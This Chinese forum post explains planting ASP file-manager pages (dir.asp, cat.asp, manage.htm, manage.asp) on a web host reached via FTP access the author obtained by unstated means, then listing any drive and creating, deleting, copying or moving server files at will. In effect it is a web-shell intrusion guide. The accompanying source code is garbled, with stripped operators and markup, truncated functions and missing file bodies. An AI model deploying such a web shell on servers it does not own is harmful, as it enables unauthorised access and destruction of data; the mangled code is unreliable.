利用ASP实现对Web主机硬盘文件的读写 - 德化论坛

利用ASP实现对Web主机硬盘文件的读写

ASP的全称是Active Server Page，是由Microsoft公司开发的一种互动的Web应用程序。利用它可以编出很多应用程序，是Web服务更加互动，更符合用户的需求。当然，为了需要，其中也包含了操作文件系统的一些指令和函数.有一个可以用来列出服务器硬盘文件目录的ASP应用程序其文件名为dir.asp，cat.asp，manage.htm和manage.asp。dir.asp是用来显示服务器制定路径的目录文件，cat.asp是用来显示制定文件，manage.htm和manage.asp是用来实现对目录和文件的操作（建立、删除、复制、移动）。其原代码在本文最后。

不过要让服务器执行你说写的ASP命令，首先要把你写的文件放到服务器的根目录下面才可以。我们假设实验的主机是202.192.*.*。首先要将文件传上主机，这点要靠自己的办法了，我是靠FTP来实现的，因为其FTP根目录和Web根目录都是主机上的同一个文件夹。我取得了FTP的完全权限。具体方法大家自己想咯。

首先将写好的文件上传至ftp://202.192.*.*，然后通过访问 https://202.192.*.*/dir.asp?pp=c:\ 你可以看到服务器硬盘分区C的根目录下所有目录和文件。改变"pp="后面的参数，就可以看到不同分区的信息。

接下来就是执行https://202.192.*.*/manage.htm 了，这是一个整合了所有文件操作功能的ASP文件管理程序。具体使用大家看到程序就会明白的。这里不多说。

现在你就可以随心所欲的改变服务器的文件了，你想把哪个文件删除就删除，想建立就建立，因为这一切在IIS看来都是正当的要求，它没理由拒绝执行啊，^_^！

各文件源代码

dir.asp

"\" then spp=spp&"\"

if right(sup,1) "/" then sup=sup&"/"

response.write "Index of "&spp&"

"

set fso=CreateObject("Scripting.filesystemobject")

set f=fso.getfolder(spp)

set fc=f.files

set ff=f.subfolders

response.write ""

if mode="drivers" then

set dc=fso.drives

for each d in dc

response.write "

"

response.write "

"&d.DriveLetter &":\" &d.DriveType &"

"

next

set dc=nothing

else

'set parent folder

if right(spp,2)=":\" then

response.write "drive list

"

else

response.write "

"

response.write "

parent directory

"

end if

for each f in ff

response.write "

"

response.write "

"&f.name&"\

"

next

for each f in fc

response.write "

"

response.write "

"&f.name&"

"

next

end if

set ff=nothing

set fso=nothing

set f=nothing

set fc=nothing

end function

function pardir(byval s,byval slash)

pardir=""

if s & ""="" then exit function

s=left(s,len(s)-1)

do while true

c=right(s,1)

if c = ":" then exit do

if c slash then

if len(s)

cat.asp

manage.htm

New Page 1

文件在线管理系统

复制文件

copy

to

复制目录

copy

to

建立文件

create

删除文件

delete

建立目录

create

under

删除目录

delete

under

移动文件

move

to

移动目录

move

to

manage.asp